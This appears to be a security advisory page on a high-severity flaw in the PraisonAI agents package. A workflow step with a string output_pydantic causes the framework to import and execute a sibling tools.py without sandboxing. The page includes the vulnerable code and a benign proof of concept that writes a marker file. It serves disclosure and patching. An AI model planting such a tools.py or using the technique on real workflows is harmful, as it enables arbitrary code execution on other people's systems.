High

PraisonAI: Unsafe Dynamic Module Loading Leads to Arbitrary Code Execution via tools.py in AgentFlow

  • Disclosed: 08.10.2026
  • Updated: 15.10.2026 18:17

Summary

An unsafe dynamic module loading vulnerability allows an attacker who can control a workflow file and a sibling tools.py to execute arbitrary Python code when the workflow is executed.

Details

The vulnerability is located in the workflow structured output resolution logic.

File: src/praisonai-agents/praisonaiagents/workflows/workflows.py

Method: AgentFlow._resolve_pydantic_class

python
if self.file_path:
    workflow_dir = Path(self.file_path).parent
    tools_path = workflow_dir / "tools.py"

    if tools_path.exists():
        spec = importlib.util.spec_from_file_location("tools", tools_path)
        tools_module = importlib.util.module_from_spec(spec)
        spec.loader.exec_module(tools_module)   # Arbitrary code execution

This code is reached during step execution when a step uses a string output_pydantic:

python
step_output_pydantic = getattr(step, '_output_pydantic', None)
if step_output_pydantic and isinstance(step_output_pydantic, str):
    resolved_class = self._resolve_pydantic_class(step_output_pydantic)

file_path is set automatically by:

  • WorkflowManager._load_workflow() (used by workspace discovery)
  • WorkflowManager.create_workflow()

It can also be set manually after load_yaml():

python
wf = mgr.load_yaml("workflow.yaml")
wf.file_path = "workflow.yaml"

The exec_module() call has no sandboxing and ignores the PRAISONAI_ALLOW_*_TOOLS environment variables used elsewhere in the project.

PoC

Create the following two files in the same directory:

/tmp/attack/attack.yaml

yaml
name: AttackWorkflow
steps:
  - name: generate
    action: "Produce structured output"
    output_pydantic: MaliciousModel

/tmp/attack/tools.py

python
print("[RCE] Arbitrary code executed from tools.py")

import os
with open("/tmp/rce_success.txt", "w") as f:
    f.write(f"RCE executed by PID {os.getpid()}")

class MaliciousModel:
    @classmethod
    def model_json_schema(cls):
        return {"type": "object"}

Run the following Python code (adjust the path to your PraisonAI source):

python
import sys
sys.path.insert(0, "/home/user/praisonai/src/praisonai-agents")

from praisonaiagents.workflows import WorkflowManager
from praisonaiagents.agent.agent import Agent

mgr = WorkflowManager()
wf = mgr.load_yaml("/tmp/attack/attack.yaml")

wf.file_path = "/tmp/attack/attack.yaml"

for step in wf.steps:
    step.output_pydantic = "MaliciousModel"
    step._output_pydantic = "MaliciousModel"
    if not getattr(step, "agent", None):
        step.agent = Agent(
            name="researcher",
            role="Researcher",
            goal="Generate output",
            instructions="Return structured data"
        )

wf.start("trigger")

Impact

Type: Execution of Untrusted Local Code via Unsafe Dynamic Module Loading.

Affected users include:

  • Users of WorkflowManager(workspace_path=...), where workflow discovery automatically sets file_path.
  • Users of WorkflowManager.create_workflow().
  • Applications that load workflows from repositories, templates, shared workflow collections, CI/CD artifacts, or other directories that may contain untrusted files.

During workflow execution, a string output_pydantic reference causes the framework to automatically locate, import, and execute a sibling tools.py file.

As a result, code contained in tools.py executes with the privileges of the workflow runner without requiring an explicit import or user approval step.

Successful exploitation results in arbitrary Python code execution within the workflow process. An attacker may be able to read local files, access secrets available to the process, modify workflow behavior, perform network operations, or execute additional system commands.

This behavior also bypasses the PRAISONAI_ALLOW_TEMPLATE_TOOLS / PRAISONAI_ALLOW_LOCAL_TOOLS protections used elsewhere in the project, allowing code execution through a separate workflow-resolution path.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) praisonaiagents < 1.6.78 1.6.78

References

CVSS score 7.8/10
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-693, CWE-829
Platform
Python (PyPI)
Package
praisonaiagents
Disclosed
08.10.2026
Updated
15.10.2026 18:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-4267 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-4gfv-wg42-7jw5 - CC BY 4.0

Vulnerability history: praisonaiagents

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (50) in the archive
Total entries
50
First → latest
04.2026 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 10
  • High 27
  • Medium 13

Disclosures per year

  1. 2026: 50
Severity:
  1. PraisonAI: Unsafe Dynamic Module Loading Leads to Arbitrary Code Execution via tools.py in AgentFlow this entry
    High · 7.8 CVE-2026-61437 < 1.6.78 1.6.78
  2. High · 7.5 CVE-2026-55525 < 1.6.58 1.6.58
  3. High · 7.5 CVE-2026-57129 < 1.6.59 1.6.59
  4. Critical · 9.8 CVE-2026-57125 < 1.6.59 1.6.59
Show more (17) Showing 20 of 37

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.